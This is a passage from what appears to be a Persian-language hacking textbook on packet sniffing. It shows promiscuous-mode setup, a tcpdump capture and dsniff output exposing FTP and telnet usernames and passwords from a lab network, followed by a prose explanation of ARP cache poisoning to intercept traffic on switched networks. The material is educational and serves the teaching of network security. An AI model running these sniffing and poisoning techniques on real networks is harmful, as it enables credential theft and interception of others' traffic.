‫ﻣﺎﻧﻨﺪ ‪ tcpdump‬وﺳﯿﻠﻪ ای را ﮐﻪ ﺑﻪ آن ﮔﻮش ﻓﺮا ﻣـﯽ دﻫﻨـﺪ‬ ‫‪72‬‬
‫ﮔﻮش ﻓﺮا ﻣﯽ دﻫﺪ‪ .‬ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﺿﺒﻂ‪-‬ﺑﺴﺘﻪ‬
‫ﺑﻪ ﻃﻮر ﭘﯿﺶ ﻓﺮض در ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه ﻗﺮار ﻣﯽ دﻫﻨﺪ‪ .‬ﻫﻤـﺎن ﻃـﻮر ﮐـﻪ در ﺧﺮوﺟـﯽ زﯾـﺮ واﺿـﺢ اﺳـﺖ‪ ،‬ﺑـﺎ اﺳـﺘﻔﺎده از‬
‫‪ ifconfig‬ﻣﯽ ﺗﻮان ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه را اﻋﻤﺎل ﮐﺮد‪:‬‬
‫‪# ifconfig eth0‬‬
‫‪eth0‬‬ ‫‪Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED‬‬
‫‪BROADCAST MULTICAST MTU:1500 Metric:1‬‬
‫‪RX packets:0 errors:0 dropped:0 overruns:0 frame:0‬‬

‫‪TX packets:0 errors:0 dropped:0 overruns:0 carrier:0‬‬


‫‪collisions:0 txqueuelen:100‬‬
‫)‪RX bytes:0 (0.0 b) TX bytes:0 (0.0 b‬‬
‫‪Interrupt:9 Base address:0xc000‬‬

‫‪# ifconfig eth0 promisc‬‬


‫‪# ifconfig eth0‬‬

‫‪72‬‬
‫‪Packet Capture‬‬
‫‪122‬‬
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000
#
.‫( ﺷـﻨﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮد‬Sniffing) ‫( ﺑﺴﺘﻪ ﻫﺎ ﮐﻪ ﻟﺰوﻣﺎ ﺑﺮای ﻋﻤﻮم ﻣﻌﻨﺎی ﺧﺎﺻﯽ ﻧﺪارد ﺑﺎ ﻧﺎم اﺳﺘﺮاق‬capture) ‫ﻋﻤﻞِ ﺿﺒﻂ‬
.‫اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎ در ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه در ﯾﮏ ﺷﺒﮑﻪ ﻏﯿﺮ ﺳﻮﺋﯿﭽﯽ اﻣﮑﺎن ﻓﺎش ﮐﺮدن اﻧـﻮاع اﻃﻼﻋـﺎت را ﻓـﺮاﻫﻢ ﻣﯿـﺴﺎزد‬
:‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺧﺮوﺟﯽ زﯾﺮ اﯾﻦ ﻣﻄﻠﺐ را ﻧﺸﺎن ﻣﯽ دﻫﺪ‬
# tcpdump -l -X 'ip host 192.168.0.118'
tcpdump: listening on eth0
21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1
win 17316
<nop,nop,timestamp 466808 920202> (DF)
0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..][email protected]
0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^...
0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x
0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft.
0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.
0x0050 3133 13
21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840
<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]
0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V
0x0030 0007 1f78 ...x
21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42
win 5840
<nop,nop,timestamp 921434 466808> (DF) [tos 0x10]
0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 [email protected]@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z
0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..
21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13
win
17304 <nop,nop,timestamp 466885 921434> (DF)
0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 [email protected]
0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^...
0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,..........
0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password
0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le
0x0050 6563 ec
21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840
<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[
0x0030 0007 1fc5 ....
21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76
win
5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]
0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite
0x0040 0d0a ..
21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack
27 win
17290 <nop,nop,timestamp 466923 921809> (DF)
0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 [email protected]
0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L...........

123
‫‪0x0030 000e 10d1 3233 3020 5573 6572 206c 6565‬‬ ‫‪....230.User.lee‬‬
‫‪0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a‬‬ ‫‪ch.logged.in...‬‬
‫ﺳﺮوﯾﺲ ﻫﺎﯾﯽ از ﻗﺒﯿﻞ ‪ FTP ،Telnet‬و ‪ ،POP3‬ﻏﯿﺮرﻣﺰﻧﮕﺎری ﺷﺪه )‪ (unencrypted‬ﯾﺎ ﻏﯿﺮ رﻣﺰی ﻫﺴﺘﻨﺪ‪ .‬در ﻣﺜـﺎل‬
‫ﻗﺒﻞ‪ ،‬ﮐﺎرﺑﺮ ﺑﺎ رﻣﺰﻋﺒﻮر ‪ l8@nit‬ﺑﻪ ﯾﮏ ﺳﺮور ‪ FTP‬ﻻﮔﯿﻦ ﻣﯽ ﮐﻨﺪ‪ .‬ﭼﻮن ﻓﺮآﯾﻨﺪ ﺗﺼﺪﯾﻖ ﻧﯿﺰ در ﺧﻼل ﻋﻤﻠﯿـﺎت ﻻﮔـﯿﻦ‬
‫ﺑﻪ ﻃﻮر ﻏﯿﺮرﻣﺰﻧﮕﺎری اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ ،‬ﻧﺎم ﻫﺎی ﮐﺎرﺑﺮی و رﻣﺰﻫﺎی ﻋﺒﻮر ﺑﻪ ﺳﺎدﮔﯽ در ﺑﺨﺶ ﻫﺎی اﻃﻼﻋـﺎﺗﯽ ﺑـﺴﺘﻪ ﻫـﺎی‬
‫اﻧﺘﻘﺎﻟﯽ ﻗﺎﺑﻞ دﺳﺘﺮس ﻫﺴﺘﻨﺪ‪ Tcpdump .‬ﯾﮏ ‪ sniffer‬ﻓﻮق اﻟﻌﺎده و ﭼﻨﺪ ﻣﻨﻈﻮره اﺳﺖ‪ ،‬اﻣﺎ اﺑـﺰار اﺳـﺘﺮاق دﯾﮕـﺮی ﺑـﻪ‬
‫وﯾﮋه ﺑﺮای ﺟﺴﺘﺠﻮی ﻧﺎﻣﻬﺎی ﮐﺎرﺑﺮی و رﻣﺰﻫﺎی ﻋﺒﻮر ﻧﯿﺰ ﻃﺮاﺣﯽ ﺷﺪه اﻧـﺪ‪ .‬ﯾﮑـﯽ از ﻣﻬـﻢ ﺗـﺮﯾﻦ اﯾـﻦ اﺑﺰارﻫـﺎ‪dsniff ،‬‬
‫اﺳﺖ‪.‬‬
‫‪# dsniff -n‬‬
‫‪dsniff: listening on eth0‬‬
‫‪-----------------‬‬
‫)‪12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp‬‬
‫‪USER leech‬‬
‫‪PASS l8@nite‬‬

‫‪-----------------‬‬
‫)‪12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet‬‬
‫‪USER root‬‬
‫‪PASS 5eCr3t‬‬

‫ﺣﺘﯽ ﺑﺪون ﮐﻤﮏ ﮔﺮﻓﺘﻦ از اﺑﺰاری ﻣﺜﻞ ‪ ،dsniff‬ﺷﺎﯾﺪ ﯾﮏ ﻧﻔﻮذﮔﺮ ﺑﺘﻮاﻧﺪ ﺑﻪ ﻃﻮر ﺳﻄﺤﯽ‪ ،‬ﻧﺎم ﻫﺎی ﮐـﺎرﺑﺮی و رﻣﺰﻫـﺎی‬
‫ﻋﺒﻮر را در ﺑﺴﺘﻪ ﻫﺎ ﺑﯿﺎﺑﺪ و از آﻧﻬﺎ ﺟﻬﺖ ﮐﺸﻒ و ﺑﻪ ﻣﺨﺎﻃﺮه اﻧـﺪاﺧﺘﻦ دﯾﮕـﺮ ﺳﯿـﺴﺘﻢ ﻫـﺎ اﺳـﺘﻔﺎده ﮐﻨـﺪ‪ .‬از ﻧﻘﻄـﻪ ﻧﻈـﺮ‬
‫اﻣﻨﯿﺘﯽ‪ ،‬اﯾﻦ ﻣﺴﺌﻠﻪ در ﺣﺎﻟﺖ ﮐﻠﯽ ﺧﻮب ﻧﯿﺴﺖ‪ ،‬ﻟﺬا ﺳﻮﺋﯿﭻ ﻫﺎی ﺑﺎﻫﻮش ﺗﺮ‪ ،‬ﻣﺤﯿﻂ ﻫﺎی ﺷﺒﮑﻪ ﻫﺎی ﺳﻮﺋﯿﭽﯽ را اراﺋﻪ ﻣـﯽ‬
‫دﻫﻨﺪ‪.‬‬

‫‪ .3,3,1‬اﺳﺘﺮاق ﻓﻌﺎل‬

‫در ﯾﮏ ﻣﺤﯿﻂ ﺷﺒﮑﻪ ﺳﻮﯾﭽﯽ‪ ،73‬ﺑﺴﺘﻪ ﻫﺎ ﻓﻘﻂ ﺑﻪ ﭘﻮرت ﻫﺎﯾﯽ از ﺳﯿﺴﺘﻢ ﻣﻘﺼﺪ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ اﯾﻦ ﭘﻮرت ﻫـﺎ در آن‬
‫ﺳﯿﺴﺘﻢ از ﻗﺒﻞ ﺟﻬﺖ درﯾﺎﻓﺖ ﺑﺴﺘﻪ ﻫﺎ ﺑﺎز ﺷﺪه و ﻣﻨﺘﻈﺮ درﯾﺎﻓﺖ ﺑﺴﺘﻪ ﻫﺎ ﺑﺎﺷﻨﺪ‪ .‬اﯾﻦ ﮐﺎر ﺑﺮ اﺳﺎس آدرس ﻫـﺎی ﺳـﺨﺖ‬
‫اﻓﺰاری ﻣﻘﺼﺪ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﻓﺮآﯾﻨﺪ‪ ،‬ﺳﺨﺖ اﻓﺰار ﻫﻮﺷﻤﻨﺪﺗﺮی را ﻣﯽ ﻃﻠﺒﺪ ﺗﺎ ﺑﺘﻮاﻧﺪ ﺟﺪوﻟﯽ را اﯾﺠـﺎد و ﻧﮕﻬـﺪاری‬
‫ﮐﻨﺪ ﮐﻪ در آن ﺑﯿﻦ آدرس ﻫﺎی ‪ MAC‬و ﭘﻮرت ﻫﺎی ﻣﺸﺨﺺ راﺑﻄﻪ ای ﺑﺮﻗﺮار ﺑﺎﺷﺪ‪ .‬ﻫﻤﺎن ﻃﻮر ﮐﻪ اﯾﻦ ﻣﻄﻠﺐ در زﯾـﺮ‬
‫آورده ﺷﺪه اﺳﺖ‪:‬‬

‫‪73‬‬
‫‪Switched Network Environment‬‬
‫‪124‬‬
‫ﻣﻨﻔﻌﺖ ﻣﺤﯿﻂ ﺳﻮﺋﯿﭽﯽ‪ ،‬ارﺳﺎل ﺑﺎ ﺑﺮﻧﺎﻣﻪ ی ﺑﺴﺘﻪ ﻫﺎ اﺳﺖ‪ ،‬ﯾﻌﻨﯽ وﺳﯿﻠﻪ ﻫﺎ ﺗﻨﻬﺎ ﺑﺴﺘﻪ ﻫﺎﯾﯽ را ﻣـﯽ ﻓﺮﺳـﺘﻨﺪ ﮐـﻪ ﺑـﺮای آن‬
‫ﺑﺮﻧﺎﻣﻪ رﯾﺰی ﺷﺪه ﺑﺎﺷﻨﺪ‪ :‬ﻟﺬا وﺳﺎﯾﻞ ﺑﯽ ﻗﺎﻋﺪه ﻗﺎدر ﺑﻪ اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎی اﺿﺎﻓﯽ ﻧﯿﺴﺘﻨﺪ‪ .‬اﻣﺎ در ﯾﮏ ﻣﺤﯿﻂ ﺳﻮﺋﯿﭽﯽ ﻧﯿـﺰ‬
‫راه ﻫﺎی ﻣﺸﺨﺼﯽ ﺑﺮای اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎی ﻣﺮﺑﻮط ﺑﻪ وﺳﺎﯾﻞ دﯾﮕﺮ وﺟﻮد دارد ﮐﻪ اﻧﺪﮐﯽ ﭘﯿﭽﯿﺪه ﺗﺮ ﻫﺴﺘﻨﺪ‪ .‬ﺑﺮای ﯾـﺎﻓﺘﻦ‬
‫روﺷﻬﺎی ﻫﮏ ﺑﻪ ﻣﻨﻈﻮر اﺳﺘﻔﺎده در اﯾﻦ ﻓﺮآﯾﻨﺪ‪ ،‬ﺟﺰﺋﯿﺎت ﭘﺮوﺗﮑﻞ ﻫﺎ ﺑﺎﯾﺴﺘﯽ اﻣﺘﺤﺎن و ﺑﺎزرﺳﯽ ﺷـﺪه و ﺳـﭙﺲ ﺗﺮﮐﯿـﺐ‬
‫ﺷﻮﻧﺪ‪.‬‬
‫ﯾﮏ ﺟﺰ ﻣﻬﻢ در ارﺗﺒﺎﻃﺎت ﺷﺒﮑﻪ ای ﮐﻪ دﺳﺘﮑﺎری آن ﺳﺒﺐ ﺑﺮوز ﻧﺘﺎﯾﺞ و ﺗﺎﺛﯿﺮات ﺟﺎﻟﺒﯽ ﻣﯽ ﺷﻮد آدرس ﻣﻨﺒﻊ‪ 74‬اﺳـﺖ‪.‬‬
‫ﻫﯿﭻ ﻣﺪرﮐﯽ در اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫﺎ ﺟﻬﺖ اﺛﺒﺎت اﯾﻦ ﻣﻄﻠﺐ وﺟﻮد ﻧﺪارد ﮐﻪ آدرس ﻣﻨﺒﻊ ﻣﻮﺟﻮد در ﯾﮏ ﺑﺴﺘﻪ‪ ،‬واﻗﻌـﺎ ﺑـﺮای‬
‫ﻣﺎﺷﯿﻨﯽ ﺑﺎﺷﺪ ﮐﻪ آﻧﺮا ﻣﯽ ﻓﺮﺳـﺘﺪ‪ .‬ﻋﻤـﻞ ﺟﻌـﻞ آدرس ﻣﻨﺒـﻊ در ﯾـﮏ ﺑـﺴﺘﻪ را ‪ Spoofing‬ﻣـﯽ ﻧﺎﻣﻨـﺪ‪ .‬ﺑـﺎ اﺿـﺎﻓﻪ ﺷـﺪن‬
‫‪ spoofing‬ﺑﻪ ﺟﻌﺒﻪ ﺣﻘﻪ ﻫﺎی ﯾﮏ ﻫﮑﺮ‪ ،‬ﺿﺮﯾﺐ اﯾﺠﺎد ﺧﻄﺮ روی ﯾﮏ ﺳﯿﺴﺘﻢ ﺑﺴﯿﺎر ﺑﺎﻻﺗﺮ ﻣﯽ رود‪ ،‬ﭼﺮا ﮐﻪ در ﺑﺴﯿﺎری‬
‫از ﺳﯿﺴﺘﻢ ﻫﺎ ﻣﻌﺘﺒﺮ ﺑﻮدن آدرس ﻣﻨﺒﻊ ﯾﮏ ﭼﺸﻢ داﺷﺖ ﺑﻮده و ﻫﯿﭻ ﻋﻤﻠﯿﺎﺗﯽ در ﺟﻬﺖ ﺗﺤﻘﻖ اﯾﻦ اﻣﺮ اﻧﺠﺎم ﻧﻤﯽ ﮔﺮدد‪.‬‬
‫ﻋﻤﻠﯿﺎت ‪ ،Spoofing‬اوﻟﯿﻦ ﮔﺎم در اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎ در ﯾﮏ ﺷﺒﮑﻪ ﺳﻮﺋﯿﭽﯽ اﺳﺖ‪ .‬دو ﻣﻮرد ﺟﺎﻟـﺐ دﯾﮕـﺮ در ‪ ARP‬ﻧﯿـﺰ‬
‫وﺟﻮد دارد‪ .‬ﻧﺨﺴﺖ‪ ،‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ‪ ARP Reply‬ﺑﺎ ﯾﮏ آدرس ‪ IP‬درﯾﺎﻓﺖ ﺷﻮد ﮐـﻪ ﻗـﺒﻼ در ‪ ARP Cache‬وﺟـﻮد‬
‫داﺷﺘﻪ اﺳﺖ‪ .‬در اﯾﻦ ﺣﺎﻟﺖ ﺳﯿـﺴﺘﻢ ﮔﯿﺮﻧـﺪه‪ ،‬اﻃﻼﻋـﺎت آدرس ﺳـﺨﺖ اﻓـﺰاری ﺟﺪﯾـﺪ و ﻣﻮﺟـﻮد در ﭘﺎﺳـﺦ را ﺑـﻪ ﺟـﺎی‬
‫اﻃﻼﻋﺎت اوﻟﯿﻪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮐﻨﺪ )ﻣﮕـﺮ اﯾﻨﮑـﻪ آن ‪ entry‬در ‪ ARP Cache‬ﺑـﻪ ﺻـﻮرت ﺛﺎﺑـﺖ )‪ (Permanent‬ﻧـﺸﺎﻧﻪ‬
‫ﮔﺬاری ﺷﺪه ﺑﺎﺷﺪ(‪ .‬دوم اﯾﻨﮑﻪ‪ ،‬ﺣﺘﯽ اﮔـﺮ ﺳﯿـﺴﺘﻢ ﻫـﺎ ﯾـﮏ ‪ ARP Request‬را ﻧﻔﺮﺳـﺘﻨﺪ‪ ،‬ﻫﻤﯿـﺸﻪ ﻣـﯽ ﺗﻮاﻧﻨـﺪ ‪ARP‬‬
‫‪ Reply‬را درﯾﺎﻓﺖ ﮐﻨﻨﺪ‪ ،‬ﭼﺮا ﮐﻪ اﻃﻼﻋﺎت وﺿﻌﯿﺘﯽ درﺑﺎره ﺗﺮاﻓﯿﮏ ‪ ARP‬ﻧﮕﻬـﺪاری ﻧﻤـﯽ ﺷـﻮﻧﺪ‪ ،‬ﭼـﻮن اﯾـﻦ ﻋﻤـﻞ ﺑـﻪ‬
‫ﺣﺎﻓﻈﻪ ﺑﯿﺸﺘﺮی ﻧﯿﺎز داﺷﺘﻪ و ﭘﺮوﺗﮑﻞ را ﭘﯿﭽﯿﺪه ﺗﺮ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ اﯾﻦ ﺳﻪ ﺟﺰ ﺑﻪ درﺳﺘﯽ اﮐﺴﭙﻠﻮﯾﺖ ﺷﻮﻧﺪ‪ ،‬ﺑﻪ ﻧﻔﻮذﮔﺮ اﺟﺎزه اﺳﺘﺮاق ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ را در ﯾﮏ ﺷﺒﮑﻪ ﺳـﻮﺋﯿﭽﯽ‬
‫ﻣﯿﺪﻫﻨﺪ‪ .‬اﯾﻦ ﮐﺎر ﺑﺎ ﺗﮑﻨﯿﮑﯽ ﺑﻪ ﻧﺎم ﺗﻐﯿﯿﺮ ﺟﻬﺖ‪/‬ﻫﺪاﯾﺖ ‪ (ARP Redirection) ARP‬ﻗﺎﺑﻞ اﻧﺠﺎم اﺳﺖ‪ .‬ﻧﻔﻮذﮔﺮ ﺟـﻮاب‬
‫ﻫﺎی ﺟﻌﻠﯽ ‪ ARP‬را ﺑﻪ ﺳﯿﺴﺘﻢ ﻫﺎی ﻣﺸﺨﺼﯽ ﻣﯽ ﻓﺮﺳﺘﺪ‪ .‬اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ ﭘﺮ ﺷﺪن ﻣﻔــــﺎدِ ‪ ARP Cache‬ﺑـﺎ اﻃﻼﻋـﺎت‬
‫ﻫﮑﺮ ﻣﯽ ﺷﻮد ﮐﻪ آﻧﺮا ﻣﺴﻤﻮم ﮐﺮدن ذﺧﯿﺮه ‪ (ARP Cache Poisoning) ARP‬ﻣـﯽ ﻧـﺎﻣﯿﻢ‪ .‬ﺟﻬـﺖ اﺳـﺘﺮاق ﺗﺮاﻓﯿـﮏ‬
‫ﺷﺒﮑﻪ ﺑﯿﻦ دو ﻧﻘﻄﻪ ‪ A‬و ‪ ،B‬ﻧﻔﻮذﮔﺮ ﺑﺎﯾﺴﺘﯽ ‪ ARP Cache‬ﺳﯿﺴﺘﻢ ‪ A‬را ﻃﻮری ﻣﺴﻤﻮم ﮐﻨﺪ ﮐﻪ ﺑﻪ ﻧﻈﺮ رﺳﺪ آدرس ‪IP‬‬
‫ﺳﯿﺴﺘﻢ ‪ B‬ﺑﺎ آدرس ﺳﺨﺖ اﻓﺰاری ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ راﺑﻄﻪ دارد‪ .‬در ﮐﻨﺎر آن‪ ARP Cache ،‬ﺳﯿﺴﺘﻢ ‪ B‬ﻧﯿﺰ ﺑﺎﯾـﺪ ﻃـﻮری‬
‫ﻣﺴﻤﻮم ﺷﻮد ﮐﻪ ﺑﻪ ﻧﻈﺮ رﺳﺪ آدرس ‪ IP‬ﺳﯿﺴﺘﻢ ‪ A‬ﺑﺎ آدرس ﺳﺨﺖ اﻓﺰاری ﺳﯿﺴﺘﻢ ﻧﻔـﻮذﮔﺮ راﺑﻄـﻪ دارد‪ .‬ﺳـﭙﺲ ﮐـﺎﻓﯽ‬
‫اﺳﺖ ﮐﻪ ﻧﻔﻮذﮔﺮ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را ﺑﻪ ﻣﻘﺼﺪﻫﺎی ﻧﻬﺎﯾﯽ ﻣﺮﺑﻮﻃﻪ ارﺳﺎل ﮐﻨﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﺗﻤﺎم ﺗﺮاﻓﯿﮏ ﺑﯿﻦ ‪ A‬و ‪ B‬ﺑﺪون‬
‫ﻣﺸﮑﻞ ﺗﺤﻮﯾﻞ آﻧﻬﺎ داده ﻣﯽ ﺷﻮد‪ ،‬اﻣﺎ در ﮔﺬر اﯾﻦ اﻃﻼﻋﺎت ﺑﻪ ﺳﯿﺴﺘﻢ ﻣﻘﺎﺑﻞ‪ ،‬از ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ ﻧﯿﺰ ﻋﺒﻮر ﺧﻮاﻫﻨﺪ ﮐـﺮد‪.‬‬
‫اﯾﻦ ﻓﺮآﯾﻨﺪ در ﺗﺼﻮﯾﺮ زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‪:‬‬

‫‪74‬‬
‫‪Source Address‬‬
‫‪125‬‬
‫ﭼﻮن ‪ A‬و ‪ ،B‬ﻫﺪرﻫﺎی اﺗﺮﻧﺖ را روی ﺑﺴﺘﻪ ﻫﺎی ﺧﻮد ﺑﺮ اﺳﺎس ‪ ARP Cache‬ﻫﺎ ﺑﺴﺘﻪ ﺑﻨﺪی ﻣﯽ ﮐﻨﻨﺪ‪ ،‬ﻟﺬا ﺗﺮاﻓﯿﮏ ‪IP‬‬
‫ﺳﯿﺴﺘﻢ ‪ A‬ﺑﺎ ﻫﺪفِ ﺳﯿﺴﺘﻢ ‪) B‬ﻣﻘﺼﺪ(‪ ،‬در ﻋﻤﻞ ﺑﻪ آدرس ﺳﺨﺖ اﻓﺰاری ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ ﺷﻮد و ﺑﻌﮑﺲ‪ .‬ﺳﻮﺋﯿﭻ ﺗﻨﻬﺎ‬
‫ﺗﺮاﻓﯿﮏ ﻣﺒﺘﻨﯽ ﺑﺮ آدرس ﺳﺨﺖ اﻓﺰاری را ﻓﯿﻠﺘﺮ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ ﺳﻮﺋﯿﭻ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺑﺮﻧﺎﻣﻪ رﯾﺰی ﺷﺪه ﮐﺎر ﻣﯽ ﮐﻨـﺪ‬
‫و ﺗﺮاﻓﯿﮏ ‪ IP‬ارﺳﺎﻟﯽ از ﺳﯿﺴﺘﻢ ﻫﺎی ‪ A‬و ‪ B‬را ﮐﻪ ﻋﺎزم آدرس ﺳﺨﺖ اﻓﺰاری ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ ﻫﺴﺘﻨﺪ‪ ،‬ﺑﻪ ﭘﻮرت ﺗﻌﯿﯿﻦ‬
‫ﺷﺪه در ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ دارد‪ .‬آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﺑﺴﺘﻪ ﻫﺎی ‪ IP‬را ﺑﺎ ﻫﺪرﻫﺎی اﺗﺮﻧﺖ ﻣﻨﺎﺳﺐ ﻣﺠﺪدا ﻧﮕﺎﺷـﺖ ﻣـﯽ‬
‫ﮐﻨﺪ )‪ (remap‬و آﻧﻬﺎ را ﺑﻪ ﺳﻮﺋﯿﭻ )ﮐﻪ در آﻧﺠﺎ ﺑﺴﺘﻪ ﻫﺎ ﺑﻪ ﻣﺴﯿﺮ ﺻﺤﯿﺢ‪ ،‬ﻣﺴﯿﺮدﻫﯽ ﻣﯽ ﺷﻮﻧﺪ( ﺑﺎز ﻣﯽ ﮔﺮداﻧـﺪ‪ .‬ﺳـﻮﺋﯿﭻ‬
‫وﻇﯿﻔﻪ ﺧﻮد را اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ .‬اﯾﻦ ﺳﯿﺴﺘﻢ ﻫﺎی ﻗﺮﺑﺎﻧﯽ ﻫﺎ اﺳﺖ ﮐﻪ در ﻣﻘﺎﺑﻞ ﻫﺪاﯾﺖ )‪ (redirection‬ﺗﺮاﻓﯿﮏ ﺑﻪ ﺳﯿﺴﺘﻢ‬
‫ﻧﻔﻮذﮔﺮ ﻓﺮﯾﺐ ﺧﻮرده اﻧﺪ‪.‬‬
‫ﻧﺎﺷﯽ از ﻣﻘﺎدﯾﺮ ‪ ،time-out‬ﻣﺎﺷﯿﻦ ﻫﺎی ﻗﺮﺑﺎﻧﯽ درﺧﻮاﺳﺖ ﻫﺎی واﻗﻌﯽ ‪ ARP‬را در ﻓﻮاﺻﻞ ﻣﻌﯿﻦ ارﺳـﺎل و ﭘﺎﺳـﺦ ﻫـﺎی‬
‫واﻗﻌﯽ ‪ ARP‬را در ﭘﺎﺳﺦ درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﺟﻬﺖ ﺑﺎﭘﺮﺟﺎ ﻣﺎﻧـﺪن ﺣﻤـﻼت ‪ ،Redirection‬ﻧﻔـﻮذﮔﺮ ﺑﺎﯾـﺪ روﻧـﺪ ﻣـﺴﻤﻮم‬
‫ﮐﺮدن ‪ ARP Cache‬ﻫﺎی ﻣﺎﺷﯿﻦ ﻫﺎی ﻗﺮﺑﺎﻧﯽ را اداﻣﻪ دﻫﺪ‪ .‬ﯾﮏ راه ﺳﺎده ﺑﺮای اﺟﺮای اﯾـﻦ ﮐـﺎر‪ ،‬ارﺳـﺎل ﭘﺎﺳـﺦ ﻫـﺎی‬
‫ﺟﻌﻠﯽ ‪ ARP‬در ﻓﻮاﺻﻞ زﻣﺎﻧﯽ ﺛﺎﺑﺖ )ﻣﺜﻼ ﻫﺮ ده ﺛﺎﻧﯿﻪ( ﺑﻪ ﺳﯿﺴﺘﻢ ‪ A‬و ‪ B‬اﺳﺖ‪.‬‬
‫ﭘـــﻞ ارﺗـﺒﺎﻃﯽ‪ 75‬ﺳﯿﺴﺘﻤﯽ اﺳﺖ ﮐﻪ ﺗﻤﺎم ﺗﺮاﻓﯿـــــﮏ را از ﺷﺒﮑﻪ داﺧـــــﻠﯽ ﺑﻪ اﯾـــﻨﺘﺮﻧﺖ ﻣﺴﯿﺮ دﻫﯽ ﻣﯽ ﮐﻨﺪ‪ .‬ﺣﻤﻼت‬
